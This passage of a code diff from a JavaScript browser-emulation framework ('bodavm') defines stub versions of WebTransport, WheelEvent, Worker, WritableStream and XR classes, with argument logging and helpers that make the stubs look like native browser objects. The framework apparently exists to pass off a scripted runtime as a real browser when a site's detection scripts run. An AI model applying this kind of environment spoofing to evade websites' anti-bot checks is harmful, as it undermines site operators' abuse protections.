{configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "error", arguments)}},'prototype'); - -// WritableStreamDefaultWriter对象 -bodavm.memory.globalobj['WritableStreamDefaultWriter'] = function WritableStreamDefaultWriter(){if (!(this instanceof WritableStreamDefaultWriter)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WritableStreamDefaultWriter': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultWriter'], "WritableStreamDefaultWriter"); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "ready", {configurable:true, enumerable:true, get:function ready (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "ready_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "releaseLock", {configurable:true, enumerable:true, writable:true, value:function releaseLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "releaseLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "write", {configurable:true, enumerable:true, writable:true, value:function write (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "write", arguments)}},'prototype'); - -// ws对象 -bodavm.memory.globalobj['ws'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['ws'].__proto__=bodavm.memory.globalobj['WebSocket'].prototype; - -// XRSpace对象 - -bodavm.memory.globalobj['XRSpace'] = function XRSpace(){if (!(this instanceof XRSpace)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSpace'], "XRSpace"); - -bodavm.memory.globalobj['XRSpace'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; - -bodavm.memory.globalobj['XRSpace'].__proto__=bodavm.memory.globalobj['EventTarget']; +*/ + +webkitURL = bodavm.memory.globalobj['URL']; +// WebTransport对象 + +bodavm.memory.globalobj['WebTransport'] = function WebTransport() { + console.log_copy('WebTransport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebTransport)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WebTransport': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransport'], "WebTransport"); +bodavm.toolsFunc.defineProperty('WebTransport', "incomingUnidirectionalStreams", { + configurable: true, + enumerable: true, + get: function incomingUnidirectionalStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingUnidirectionalStreams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "incomingBidirectionalStreams", { + configurable: true, + enumerable: true, + get: function incomingBidirectionalStreams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "incomingBidirectionalStreams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "datagrams", { + configurable: true, + enumerable: true, + get: function datagrams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "datagrams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "createBidirectionalStream", { + configurable: true, + enumerable: true, + writable: true, + value: function createBidirectionalStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createBidirectionalStream", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransport', "createUnidirectionalStream", { + configurable: true, + enumerable: true, + writable: true, + value: function createUnidirectionalStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransport'].prototype, "WebTransport", "createUnidirectionalStream", arguments); + } +}, 'prototype'); +// WebTransportBidirectionalStream对象 + +bodavm.memory.globalobj['WebTransportBidirectionalStream'] = function WebTransportBidirectionalStream() { + console.log_copy('WebTransportBidirectionalStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebTransportBidirectionalStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportBidirectionalStream'], "WebTransportBidirectionalStream"); +bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportBidirectionalStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportBidirectionalStream'].prototype, "WebTransportBidirectionalStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +// WebTransportDatagramDuplexStream对象 + +bodavm.memory.globalobj['WebTransportDatagramDuplexStream'] = function WebTransportDatagramDuplexStream() { + console.log_copy('WebTransportDatagramDuplexStream 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WebTransportDatagramDuplexStream)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportDatagramDuplexStream'], "WebTransportDatagramDuplexStream"); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "maxDatagramSize", { + configurable: true, + enumerable: true, + get: function maxDatagramSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "maxDatagramSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingMaxAge", { + configurable: true, + enumerable: true, + get: function incomingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_get", arguments); + }, + set: function incomingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingMaxAge_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingMaxAge", { + configurable: true, + enumerable: true, + get: function outgoingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_get", arguments); + }, + set: function outgoingMaxAge() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingMaxAge_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "incomingHighWaterMark", { + configurable: true, + enumerable: true, + get: function incomingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_get", arguments); + }, + set: function incomingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "incomingHighWaterMark_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportDatagramDuplexStream', "outgoingHighWaterMark", { + configurable: true, + enumerable: true, + get: function outgoingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_get", arguments); + }, + set: function outgoingHighWaterMark() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportDatagramDuplexStream'].prototype, "WebTransportDatagramDuplexStream", "outgoingHighWaterMark_set", arguments); + } +}, 'prototype'); +// WebTransportError对象 + +bodavm.memory.globalobj['WebTransportError'] = function WebTransportError() { + console.log_copy('WebTransportError 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.WebTransportError(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebTransportError'], "WebTransportError"); +bodavm.memory.globalobj['WebTransportError'].prototype.__proto__ = bodavm.memory.globalobj['DOMException'].prototype; +bodavm.memory.globalobj['WebTransportError'].__proto__ = bodavm.memory.globalobj['DOMException']; +bodavm.toolsFunc.defineProperty('WebTransportError', "streamErrorCode", { + configurable: true, + enumerable: true, + get: function streamErrorCode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "streamErrorCode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebTransportError', "source", { + configurable: true, + enumerable: true, + get: function source() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebTransportError'].prototype, "WebTransportError", "source_get", arguments); + }, + set: undefined +}, 'prototype'); +// WheelEvent对象 + +bodavm.memory.globalobj['WheelEvent'] = function WheelEvent() { + console.log_copy('WheelEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WheelEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WheelEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WheelEvent'], "WheelEvent"); +bodavm.memory.globalobj['WheelEvent'].prototype.__proto__ = bodavm.memory.globalobj['MouseEvent'].prototype; +bodavm.memory.globalobj['WheelEvent'].__proto__ = bodavm.memory.globalobj['MouseEvent']; +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaX", { + configurable: true, + enumerable: true, + get: function deltaX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaY", { + configurable: true, + enumerable: true, + get: function deltaY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaZ", { + configurable: true, + enumerable: true, + get: function deltaZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "deltaMode", { + configurable: true, + enumerable: true, + get: function deltaMode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "deltaMode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaX", { + configurable: true, + enumerable: true, + get: function wheelDeltaX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDeltaY", { + configurable: true, + enumerable: true, + get: function wheelDeltaY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDeltaY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "wheelDelta", { + configurable: true, + enumerable: true, + get: function wheelDelta() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WheelEvent'].prototype, "WheelEvent", "wheelDelta_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PIXEL", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_LINE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WheelEvent', "DOM_DELTA_PAGE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +// WindowControlsOverlay对象 + +bodavm.memory.globalobj['WindowControlsOverlay'] = function WindowControlsOverlay() { + console.log_copy('WindowControlsOverlay 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WindowControlsOverlay)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlay'], "WindowControlsOverlay"); +bodavm.memory.globalobj['WindowControlsOverlay'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['WindowControlsOverlay'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "visible", { + configurable: true, + enumerable: true, + get: function visible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "visible_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "ongeometrychange", { + configurable: true, + enumerable: true, + get: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_get", arguments); + }, + set: function ongeometrychange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "ongeometrychange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WindowControlsOverlay', "getTitlebarAreaRect", { + configurable: true, + enumerable: true, + writable: true, + value: function getTitlebarAreaRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlay'].prototype, "WindowControlsOverlay", "getTitlebarAreaRect", arguments); + } +}, 'prototype'); +// WindowControlsOverlayGeometryChangeEvent对象 + +bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'] = function WindowControlsOverlayGeometryChangeEvent() { + console.log_copy('WindowControlsOverlayGeometryChangeEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WindowControlsOverlayGeometryChangeEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WindowControlsOverlayGeometryChangeEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'], "WindowControlsOverlayGeometryChangeEvent"); +bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "titlebarAreaRect", { + configurable: true, + enumerable: true, + get: function titlebarAreaRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "titlebarAreaRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WindowControlsOverlayGeometryChangeEvent', "visible", { + configurable: true, + enumerable: true, + get: function visible() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WindowControlsOverlayGeometryChangeEvent'].prototype, "WindowControlsOverlayGeometryChangeEvent", "visible_get", arguments); + }, + set: undefined +}, 'prototype'); +// Worker对象 + +bodavm.memory.globalobj['Worker'] = function Worker() { + console.log_copy('Worker 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Worker)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Worker': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Worker'], "Worker"); +bodavm.memory.globalobj['Worker'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['Worker'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('Worker', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Worker', "postMessage", { + configurable: true, + enumerable: true, + writable: true, + value: function postMessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "postMessage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Worker', "terminate", { + configurable: true, + enumerable: true, + writable: true, + value: function terminate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "terminate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Worker', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Worker'].prototype, "Worker", "onerror_set", arguments); + } +}, 'prototype'); +// WritableStreamDefaultController对象 + +bodavm.memory.globalobj['WritableStreamDefaultController'] = function WritableStreamDefaultController() { + console.log_copy('WritableStreamDefaultController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WritableStreamDefaultController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultController'], "WritableStreamDefaultController"); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "signal", { + configurable: true, + enumerable: true, + get: function signal() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "signal_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultController'].prototype, "WritableStreamDefaultController", "error", arguments); + } +}, 'prototype'); +// WritableStreamDefaultWriter对象 + +bodavm.memory.globalobj['WritableStreamDefaultWriter'] = function WritableStreamDefaultWriter() { + console.log_copy('WritableStreamDefaultWriter 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof WritableStreamDefaultWriter)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'WritableStreamDefaultWriter': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WritableStreamDefaultWriter'], "WritableStreamDefaultWriter"); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "ready", { + configurable: true, + enumerable: true, + get: function ready() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "ready_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "abort", { + configurable: true, + enumerable: true, + writable: true, + value: function abort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "abort", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "releaseLock", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "releaseLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WritableStreamDefaultWriter', "write", { + configurable: true, + enumerable: true, + writable: true, + value: function write() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WritableStreamDefaultWriter'].prototype, "WritableStreamDefaultWriter", "write", arguments); + } +}, 'prototype'); +// ws对象 + +bodavm.memory.globalobj['ws'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['ws'].__proto__ = bodavm.memory.globalobj['WebSocket'].prototype; +// XRSpace对象 + +bodavm.memory.globalobj['XRSpace'] = function XRSpace() { + console.log_copy('XRSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSpace)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSpace'], "XRSpace"); +bodavm.memory.globalobj['XRSpace'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRSpace'].__proto__ = bodavm.memory.globalobj['EventTarget']; +// XRDepthInformation对象 + +bodavm.memory.globalobj['XRDepthInformation'] = function XRDepthInformation() { + console.log_copy('XRDepthInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRDepthInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRDepthInformation'], "XRDepthInformation"); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "height_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "normDepthBufferFromNormView", { + configurable: true, + enumerable: true, + get: function normDepthBufferFromNormView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "normDepthBufferFromNormView_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRDepthInformation', "rawValueToMeters", { + configurable: true, + enumerable: true, + get: function rawValueToMeters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRDepthInformation'].prototype, "XRDepthInformation", "rawValueToMeters_get", arguments); + }, + set: undefined +}, 'prototype'); +// XRReferenceSpace对象 + +bodavm.memory.globalobj['XRReferenceSpace'] = function XRReferenceSpace() { + console.log_copy('XRReferenceSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRReferenceSpace)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRReferenceSpace'], "XRReferenceSpace"); +bodavm.memory.globalobj['XRReferenceSpace'].prototype.__proto__ = bodavm.memory.globalobj['XRSpace'].prototype; +bodavm.memory.globalobj['XRReferenceSpace'].__proto__ = bodavm.memory.globalobj['XRSpace']; +bodavm.toolsFunc.defineProperty('XRReferenceSpace', "onreset", { + configurable: true, + enumerable: true, + get: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", "onreset_get", arguments); + }, + set: function onreset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRReferenceSpace'].prototype, "XRReferenceSpace", 